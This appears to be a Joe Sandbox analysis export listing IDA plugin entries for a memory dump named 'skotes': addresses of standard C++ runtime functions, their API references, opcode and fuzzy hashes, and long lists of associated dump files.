Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 7585ddec43b74f9108bcd3cf29550a36e51a5e87fddcebc702cfde6820322b4c
Instruction ID: d3f055cd74fc6372e89af78eafc6159c0b4a7cb76bcd154f819555237b4e9df0
Opcode Fuzzy Hash: 7585ddec43b74f9108bcd3cf29550a36e51a5e87fddcebc702cfde6820322b4c
Instruction Fuzzy Hash: 850145709807115DE724BB714C01BBB35DECF02708F207829A691F7281EF65E4008AE5

Function 00636E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00636E73

Part of subcall function 00634E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00634E7F
Part of subcall function 00634E6E: List.LIBCMT ref: 00634E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00636E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00636EAA

Strings

eventObject, xrefs: 00636E7D

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: b1c30745e03c1dda053963cefe4d1e000c026e4be5c95c11c64237d2dcce4f1d
Instruction ID: dd054b1fa63c3662e47aac3ed0c893d1a428ad1a2220f695c7bfe0cdde177af5
Opcode Fuzzy Hash: b1c30745e03c1dda053963cefe4d1e000c026e4be5c95c11c64237d2dcce4f1d
Instruction Fuzzy Hash: E211E175940214B7DB24EBA4CC46FEF73BA6F00354F208119F505A61C2EB74AA08C6B5

Function 0063A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0063A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0063A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0063A139

Strings

pScheduler, xrefs: 0063A131

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 863467cdbc80d48f3a1b38df8565076221d649478b0b38a8da2a2a88dca76fea
Instruction ID: e19a3e3e9d18ca91e2648012d8d7e73d9eedd4aef61b3f36ced600a57a3b2262
Opcode Fuzzy Hash: 863467cdbc80d48f3a1b38df8565076221d649478b0b38a8da2a2a88dca76fea
Instruction Fuzzy Hash: B9F0E935900614E7C760FA94DC53C9EB37B9E91724F20812DE54657282DB71AA06C6D6

Function 006567A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00656902
__alloca_probe_16.LIBCMT ref: 00656998
__freea.LIBCMT ref: 00656A03
__freea.LIBCMT ref: 00656A0F

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: e0baec51cbfd93e543dfd3cfa58a64ca1b06e5adfdc8b665f89d228f90012dbf
Instruction ID: 3d4fd50b47519e301b8f01dc9e2d2ca87437b3b6608f3bb300d4575df23e1b91
Opcode Fuzzy Hash: e0baec51cbfd93e543dfd3cfa58a64ca1b06e5adfdc8b665f89d228f90012dbf
Instruction Fuzzy Hash: FD81C072D002469BDF219EA4CC81AEE7BA79F09716F984159FC01BB291E735CC49CBA0

Function 0064504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00645115
___AdjustPointer.LIBCMT ref: 00645138
___AdjustPointer.LIBCMT ref: 006451D4

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 623833170a98d19fbfa10af565a23a62d7772312b2eb1f31a4f22710ffa8cdf4
Instruction ID: a9b4e29f162009160be56977da022ac9dcd306b15bc42b54f213ea517531c127
Opcode Fuzzy Hash: 623833170a98d19fbfa10af565a23a62d7772312b2eb1f31a4f22710ffa8cdf4
Instruction Fuzzy Hash: 72510276601B06AFEB299F54D881BBA73A7EF10700F14452DE80787392E771ED81CB90

Function 00644C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00644C66
TypeidsEqual.LIBVCRUNTIME ref: 00644C8B
PMDtoOffset.LIBCMT ref: 00644CA1
PMDtoOffset.LIBCMT ref: 00644D22

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
